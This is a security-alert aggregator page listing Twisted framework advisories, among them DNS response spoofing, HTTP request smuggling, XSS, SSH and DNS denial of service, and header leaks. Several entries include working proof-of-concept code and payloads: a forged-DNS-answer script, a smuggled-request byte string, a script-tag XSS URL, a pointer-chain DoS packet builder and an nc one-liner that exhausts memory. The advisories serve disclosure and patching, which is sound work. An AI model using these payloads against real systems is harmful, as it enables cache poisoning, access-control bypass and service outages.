Where
-Infinity
0

Vendor Risk Score

See how twisted compares to other vendors in security performance

View Risk Score →
Severity
3.1
SSRF
AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N

Summary

twisted.names.dns.DNSDatagramProtocol, the UDP transport used by twisted's DNS client (twisted.names.client.Resolver, createResolver, and anything built on it, including MX lookups in twisted.mail), accepts a DNS response for a pending query solely on the basis of the 16-bit transaction ID matching. It never checks that the response actually originated from the server the query was sent to. Any host that can deliver a UDP packet to the resolver's listening port with the correct transaction ID can inject a forged answer, independent of the real server's address. This is a materially weaker defense than standard DNS resolver practice (transaction ID plus source-address validation, typically also source-port rotation), and enables off-path DNS response spoofing / cache poisoning.

Details

DNSDatagramProtocol.datagramReceived (src/twisted/names/dns.py, line 3350) is:

python def datagramReceived(self, data, addr): """ Read a datagram, extract the message in it and trigger the associated Deferred. """ m = Message() try: m.fromStr(data) except EOFError: ... except ValueError as ex: ... except BaseException: ...

if m.id in self.liveMessages: d, canceller = self.liveMessages[m.id] del self.liveMessages[m.id] canceller.cancel() try: d.callback(m) except BaseException: log.err() else: if m.id not in self.resends: self.controller.messageReceived(m, self, addr)

The addr parameter, the UDP source address of the datagram, is accepted but never compared against the address the corresponding query was sent to. The only check is m.id in self.liveMessages, and liveMessages is keyed purely by the transaction ID chosen in DNSMixin.pickID(). The listening socket is a plain listenUDP(0, self, maxPacketSize=512) (line 3348), not connected to the queried server, so the kernel does not filter by source address either; any host can deliver a UDP datagram to this socket.

The transaction ID itself is generated with secureRandom (randomSource(), line 174), so it is not predictable, but at 16 bits it is a 1-in-65536 space per attempt. twisted.names.client.Resolver, the standard, documented DNS client, mitigates brute-force guessing of that space by creating a brand-new DNSDatagramProtocol bound to a fresh, independently random source port (connectedProtocol(), src/twisted/names/client.py line 206, using dns.randomSource()) for every individual query, and tearing the socket down once the query completes (query(), line 253). This gives an off-path attacker roughly 32 bits of combined entropy (port and transaction ID) to guess per query issued through the standard client, not just the 16 bits of the transaction ID alone.

The missing source-address check is still a real gap for two reasons. First, it removes a defense-in-depth backstop that DNS resolver best practice (RFC 5452) treats as independent from port and ID randomization; an attacker who is on-path, shares a broadcast domain or NAT with the resolver or the real DNS server, or is otherwise able to observe or narrow the ephemeral port faces no additional barrier at all, since source-address validation is exactly the check that would stop them. Second, DNSDatagramProtocol is itself a public, documented class; code that constructs one directly and issues more than one query against the same instance, rather than going through client.Resolver's per-query protocol and port cycling, reuses the same source port for every query after the first, so guessing the 16-bit transaction ID alone is sufficient from that point on.

twisted.names.client.Resolver uses this same DNSDatagramProtocol class for every UDP query it issues, so every consumer of the standard twisted DNS client, including twisted.mail's MX resolution, is subject to the same unauthenticated accept logic in datagramReceived, moderated by the per-query port rotation described above.

PoC

python import socket from twisted.internet import reactor from twisted.names import dns

class CapturingController: def messageReceived(self, message, protocol, address): pass

def main(): resolverProto = dns.DNSDatagramProtocol(CapturingController()) resolverProto.startListening()

realserver = ("203.0.113.1", 53) # RFC 5737 TEST-NET-1, never answers query = dns.Query(b"victim.example.com", dns.A, dns.IN) d = resolverProto.query(realserver, [query], timeout=5)

stolenid = next(iter(resolverProto.liveMessages)) resolverport = resolverProto.transport.getHost().port

forged = dns.Message(stolenid, answer=1) forged.queries = [query] forged.answers = [ dns.RRHeader(name=b"victim.example.com", type=dns.A, cls=dns.IN, ttl=60, payload=dns.RecordA(address="6.6.6.6")) ]

attackersock = socket.socket(socket.AFINET, socket.SOCKDGRAM) attackersock.bind(("127.0.0.1", 0)) # unrelated to realserver attackersock.sendto(forged.toStr(), ("127.0.0.1", resolverport))

def onResult(message): print("Resolver ACCEPTED forged response as the answer to its query to", realserver) print("Spoofed A record:", message.answers[0].payload.dottedQuad()) reactor.stop()

d.addCallback(onResult)

reactor.callWhenRunning(main) reactor.run()

Output:

Resolver listening on 127.0.0.1:54997, queried ('203.0.113.1', 53), id=6995 Forged response sent from ('127.0.0.1', 53644) (NOT ('203.0.113.1', 53)) Resolver ACCEPTED forged response as the answer to its query to ('203.0.113.1', 53) Spoofed A record: 6.6.6.6

The query was sent to 203.0.113.1:53, an address reserved by RFC 5737 for documentation and testing that will never respond. The forged response was sent from an unrelated local UDP socket bound to a different, unrelated port. The resolver accepted it as the legitimate answer purely because the transaction ID matched, proving the response's source address plays no role in validation. Impact

Any application resolving hostnames through twisted.names can have DNS answers forged by a network party able to deliver a UDP packet to the resolver's listening port with the correct transaction ID, and, for the standard client.Resolver path, the correct ephemeral source port too. An on-path attacker, or one sharing a broadcast domain or NAT with the resolver or the real DNS server, faces no meaningful barrier at all, since source-address validation is exactly the check that would stop them and it is absent. An off-path attacker targeting the standard client.Resolver API must win a roughly 32-bit combined guess (port and transaction ID) within the query timeout window; the same attacker targeting code that uses the public DNSDatagramProtocol class directly across multiple queries on one instance, a supported usage pattern, faces only the 16-bit transaction ID space per query after the first. A successful forgery lets an attacker redirect hostname resolution to an address of their choosing, enabling mail interception (spoofed MX/A records), SSRF, or man-in-the-middle positioning against anything that trusts the resolved address.

1 / 3
Source: GitHub
First published (updated )
Severity
5.4
AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N

Summary

An incomplete header-value validation (CWE-444) in the Twisted HTTP server lets a bare carriage return or line feed in a header value hide a following header from the parser. twisted.web.http.HTTPChannel.headerReceived rejects a NUL byte in a header value but not a bare CR or LF, even though RFC 9110 section 5.5 requires a recipient to reject all three. Because the channel splits requests only on CRLF, a value carrying a bare LF and a second header arrives as one line, so the second header is folded into the value and the request is framed with no body. A front-end that treats the bare LF as a line terminator frames the request differently, and the disagreement lets an attacker smuggle a request past it. This is an incomplete fix of the earlier Twisted request-smuggling advisories, which guarded the NUL sibling of this exact check.

Details

headerReceived splits a header line on the first colon, strips space and tab from the value, and validates it with a single test that rejects only NUL:

python twisted/web/http.py HTTPChannel.headerReceived data = data.strip(b" \t") if b"\x00" in data: # NUL rejected; a bare CR or LF is not self.respondToBadRequestAndDisconnect() return False

The channel delimiter is CRLF, so Foo: x\nContent-Length: 39 is one line: the split yields name Foo and value x\nContent-Length: 39, strip leaves the LF, and the NUL check passes. maybeChooseTransferDecoder is then called with Foo, never sees a Content-Length, and installs no body decoder, so the request is framed with an empty body. The header name and request line already reject CR and LF, so the value is the only gap.

Affected product: Twisted, twisted.web.http.HTTPChannel Affected versions: 26.4.0 and earlier

PoC

Feed one connection a request whose header value carries a bare LF and a Content-Length, followed by a second request in the bytes after it: POST /public HTTP/1.1\r\nHost: v\r\nFoo: x\nContent-Length: 44\r\n\r\nGET /admin HTTP/1.1\r\nHost: internal\r\n\r\n. Twisted parses two requests and serves both, so the smuggled GET /admin returns the /admin response body even though the visible request was only POST /public. The bare CR variant behaves identically, and a NUL in the value is rejected, which isolates the missing CR and LF checks.

Behind a front-end that treats the bare LF as a line terminator, the front-end frames one POST /public and forwards a body while Twisted frames a second GET /admin; the extra response then poisons the shared connection, so a later victim receives the attacker's GET /admin response.

Impact

This is an HTTP request-smuggling exposure (CWE-444) from inconsistent interpretation of a request (CWE-436). Through a front-end that accepts a bare CR or LF as a line terminator, an attacker can smuggle a request the front-end never sees, bypassing front-end access controls, poisoning a shared connection so a later victim receives the attacker's response, and poisoning a cache. Twisted is the strict endpoint that frames the request without a body, so it is realized only behind such a proxy, and there is no code execution.

1 / 4
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Impact

The Twisted SSH client and server implementation naively accepted an infinite amount of data for the peer's SSH version identifier.

A malicious peer can trivially craft a request that uses all available memory and crash the server, resulting in denial of service. The attack is as simple as nc -rv localhost 22 < /dev/zero.

Patches

The issue was fix in GitHub commit https://github.com/twisted/twisted/commit/98387b39e9f0b21462f6abc7a1325dc370fcdeb1

A fix is available in Twisted 22.2.0.

Workarounds

Limit access to the SSH server only to trusted source IP addresses. Connect over SSH only to trusted destination IP addresses.

References

Reported at https://twistedmatrix.com/trac/ticket/10284 Discussions at https://github.com/twisted/twisted/security/advisories/GHSA-rv6r-3f5q-9rgx

For more information

Found by vin01

1 / 2
First published (updated )
Severity
5.4
XSS
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Twisted is an event-based framework for internet applications. Started with version 0.9.4, when the host header does not match a configured host twisted.web.vhost.NameVirtualHost will return a NoResource resource which renders the Host header unescaped into the 404 response allowing HTML and script injection. In practice this should be very difficult to exploit as being able to modify the Host header of a normal HTTP request implies that one is already in a privileged position. This issue was fixed in version 22.10.0rc1. There are no known workarounds.

1 / 3
Source: Ubuntu
First published (updated )
Severity
7.5
Infoleak
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Impact

Cookie and Authorization headers are leaked when following cross-origin redirects in twited.web.client.RedirectAgent and twisted.web.client.BrowserLikeRedirectAgent.

1 / 2
Source: GitHub
First published (updated )
Severity
8.1
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

The Twisted Web HTTP 1.1 server, located in the twisted.web.http module, parsed several HTTP request constructs more leniently than permitted by RFC 7230:

1. The Content-Length header value could have a + or - prefix. 2. Illegal characters were permitted in chunked extensions, such as the LF (\n) character. 3. Chunk lengths, which are expressed in hexadecimal format, could have a prefix of 0x. 4. HTTP headers were stripped of all leading and trailing ASCII whitespace, rather than only space and HTAB (\t).

This non-conformant parsing can lead to desync if requests pass through multiple HTTP parsers, potentially resulting in HTTP request smuggling.

Impact

You may be affected if:

1. You use Twisted Web's HTTP 1.1 server and/or proxy 2. You also pass requests through a different HTTP server and/or proxy

The specifics of the other HTTP parser matter. The original report notes that some versions of Apache Traffic Server and HAProxy have been vulnerable in the past. HTTP request smuggling may be a serious concern if you use a proxy to perform request validation or access control.

The Twisted Web client is not affected. The HTTP 2.0 server uses a different parser, so it is not affected.

Patches

The issue has been addressed in Twisted 22.4.0rc1 and later.

Workarounds

Other than upgrading Twisted, you could:

Ensure any vulnerabilities in upstream proxies have been addressed, such as by upgrading them Filter malformed requests by other means, such as configuration of an upstream proxy

Credits

This issue was initially reported by Zhang Zeyu.

1 / 2
Source: GitHub
First published (updated )
Severity
6.1
CRLF Injection
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

In Twisted before 19.2.1, twisted.web did not validate or sanitize URIs or HTTP methods, allowing an attacker to inject invalid characters such as CRLF.

1 / 2
Source: Launchpad
First published (updated )
Severity
9.8
Input Validation
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

In Twisted Web before 20.3.0, there was an HTTP request splitting vulnerability. When presented with two content-length headers, it ignored the first header. When the second content-length value was set to zero, the request body was interpreted as a pipelined request.

1 / 3
Source: GitHub
First published (updated )
Severity
9.8
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

In Twisted Web through 19.10.0, there was an HTTP request splitting vulnerability. When presented with a content-length and a chunked encoding header, the content-length took precedence and the remainder of the request body was interpreted as a pipelined request.

1 / 3
Source: Launchpad
First published (updated )
Severity
7.4
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

In words.protocols.jabber.xmlstream in Twisted through 19.2.1, XMPP support did not verify certificates when used with TLS, allowing an attacker to MITM connections.

1 / 2
Source: Launchpad
First published (updated )
Severity
5.3
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Twisted before 16.3.1 does not attempt to address RFC 3875 section 4.1.18 namespace conflicts and therefore does not protect CGI applications from the presence of untrusted client data in the HTTPPROXY environment variable, which might allow remote attackers to redirect a CGI application's outbound HTTP traffic to an arbitrary proxy server via a crafted Proxy header in an HTTP request, aka an httpoxy issue.

1 / 2
First published (updated )
Severity
6.1
XSS
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Summary

The twisted.web.util.redirectTo function contains an HTML injection vulnerability. If application code allows an attacker to control the redirect URL this vulnerability may result in Reflected Cross-Site Scripting (XSS) in the redirect response HTML body.

Details Twisted’s redirectTo function generates an HTTP 302 Redirect response. The response contains an HTML body, built for exceptional cases where the browser doesn’t properly handle the redirect, allowing the user to click a link, navigating them to the specified destination.

The function reflects the destination URL in the HTML body without any output encoding. python https://github.com/twisted/twisted/blob/trunk/src/twisted/web/templateutil.py#L88 def redirectTo(URL: bytes, request: IRequest) -> bytes: # ---snip--- content = b""" <html> <head> <meta http-equiv=\"refresh\" content=\"0;URL=%(url)s\"> </head> <body bgcolor=\"#FFFFFF\" text=\"#000000\"> <a href=\"%(url)s\">click here</a> </body> </html> """ % { b"url": URL } return content

If an attacker has full or partial control over redirect location due to an application bug, also known as an “Open Redirect”, they may inject arbitrary HTML into the response’s body, ultimately leading to an XSS attack.

It’s worth noting that the issue is known to maintainers and tracked with GitHub Issue#9839. The issue description, however, does not make any mention of exploitability and simply states: “…Browsers don't seem to actually render that page…”

PoC The issue can be reproduced by running the following Twisted-based HTTP server locally: python from twisted.web import server, resource from twisted.internet import reactor from twisted.web.util import redirectTo

class Simple(resource.Resource): isLeaf = True def renderGET(self, request): url = request.args[b'url'][0] # <-- open redirect return redirectTo(url, request)

site = server.Site(Simple()) reactor.listenTCP(9009, site) reactor.run() Once running, navigate to the following URL: http://127.0.0.1:9009?url=ws://example.com/"><script>alert(document.location)</script>, and verify that the “alert” dialog was displayed.

Note: Due to the different ways browsers validate the redirect Location header, this attack is possible only in Firefox. All other tested browsers will display an error message to the user and will not render the HTML body.

Impact If successfully exploited, the issue will allow malicious JavaScript to run in the context of the victim's session. This will in turn lead to unauthorized access/modification to victim's account and information associated with it, or allow for unauthorized operations to be performed within the context of the victim's session.

1 / 4
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Details

The twisted.names module is vulnerable to a Denial of Service (DoS) attack via resource exhaustion during DNS name decompression. A remote, unauthenticated attacker can exploit this by sending a crafted TCP DNS packet containing deeply chained compression pointers. This flaw bypasses previous loop-prevention logic, causing the single-threaded Twisted reactor to hang while processing millions of recursive lookups, effectively freezing the server.

---

Technical Details

The main issue is in twisted.names.dns.Name.decode. A visited set was added in 2011 (commit e11cd82) to prevent infinite loops, but there is still no limit on the number of pointer dereferences per message. Also, the visited set is reset for each Question record.

Because DNSServerFactory handles every record in QDCOUNT without checking them, an attacker can add thousands of questions that all refer to the same long chain of pointers. This makes the parser repeat a complex and unnecessary search.

python src/twisted/names/dns.py (Lines 595-631)

def decode(self, strio, length=None): visited = set() self.name = b"" off = 0 while 1: l = ord(readPrecisely(strio, 1)) if l == 0: if off > 0: strio.seek(off) return if (l >> 6) == 3: newoff = (l & 63) << 8 | ord(readPrecisely(strio, 1)) if newoff in visited: raise ValueError("Compression loop in encoded name") visited.add(newoff) if off == 0: off = strio.tell() strio.seek(newoff) continue label = readPrecisely(strio, l) if self.name == b"": self.name = label else: self.name = self.name + b"." + label

---

PoC

python import struct, time from twisted.names import dns, server from twisted.test import protohelpers

def createtcppayload(): numpointers = 8000 packetlength = 65533 numquestions = (packetlength - (numpointers 2) - 12) // 6

buffer = bytearray(packetlength)

struct.packinto("!HHHHHH", buffer, 0, 1, 0, numquestions, 0, 0, 0)

ptroffset = 12 for in range(numpointers - 1): struct.packinto("!H", buffer, ptroffset, 0xC000 | (ptroffset + 2)) ptroffset += 2

nullbyteoffset = ptroffset + 2 struct.packinto("!H", buffer, ptroffset, 0xC000 | nullbyteoffset) buffer[nullbyteoffset] = 0

questionoffset = nullbyteoffset + 1 for in range(numquestions): if questionoffset + 6 <= packetlength: struct.packinto("!HHH", buffer, questionoffset, 0xC000 | 12, 1, 1) questionoffset += 6

return packetlength, numpointers, numquestions, struct.pack("!H", packetlength) + buffer

def testdnsserver(): factory = server.DNSServerFactory(clients=[]) protocol = factory.buildProtocol(("127.0.0.1", 10053)) transport = protohelpers.StringTransport() protocol.makeConnection(transport)

pktlen, numptrs, numqs, payload = createtcppayload() print("payload") print(f"len={pktlen} ptrs={numptrs} qs={numqs}")

start = time.time() protocol.dataReceived(payload) end = time.time()

print(f"time={end - start:.4f}s")

if name == "main": testdnsserver()

---

Impact

A single malformed TCP packet is sufficient to block the Twisted reactor's event loop for several seconds. Because Twisted operates on a single-threaded cooperative multitasking model, this is a common Denial of Service (DoS). The process becomes unable to handle new connections, process I/O, or respond to existing requests, effectively paralyzing the server for the duration of the decompression.

---

Remediation

- Update twisted.names.dns.Name.decode to add a required limit on pointer resolutions per DNS message - Share the "resolved offset" state across all records in a single message to prevent redundant processing. - Validate the number of questions before entering the decoding loop in Message.decode.

---

Resources

https://cwe.mitre.org/data/definitions/400.html

https://cwe.mitre.org/data/definitions/407.html

https://datatracker.ietf.org/doc/html/rfc9267

https://github.com/twisted/twisted/blob/trunk/src/twisted/names/dns.py#L595

https://github.com/twisted/twisted/commit/e11cd82bdd79b3ebbb0e8635cbb9c76df2b5af09

---

Author: Tomas Illuminati

1 / 3
Source: GitHub
First published (updated )
Severity
5.3
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Twisted is an event-based framework for internet applications. Prior to version 23.10.0rc1, when sending multiple HTTP requests in one TCP packet, twisted.web will process the requests asynchronously without guaranteeing the response order. If one of the endpoints is controlled by an attacker, the attacker can delay the response on purpose to manipulate the response of the second request when a victim launched two requests using HTTP pipeline. Version 23.10.0rc1 contains a patch for this issue.

1 / 4
Source: Ubuntu
First published (updated )
Severity
6.5
Command Injection
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

A command injection vulnerability exists in TwistedWeb (version 14.0.0) due to improper input sanitization in the file upload functionality. An attacker can exploit this vulnerability by sending a specially crafted HTTP PUT request to upload a malicious file (e.g., a reverse shell script). Once uploaded, the attacker can trigger the execution of arbitrary commands on the target system, allowing for remote code execution. This could lead to escalation of privileges depending on the privileges of the web server process. The attack does not require physical access and can be conducted remotely, posing a significant risk to the confidentiality and integrity of the system.

First published (updated )
Severity
4
XSS

Twisted is an event-based framework for internet applications, supporting Python 3.6+. The twisted.web.util.redirectTo function contains an HTML injection vulnerability. If application code allows an attacker to control the redirect URL this vulnerability may result in Reflected Cross-Site Scripting (XSS) in the redirect response HTML body. This vulnerability is fixed in 24.7.0rc1.

First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Python Twisted 14.0 trustRoot is not respected in HTTP client

1 / 2
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203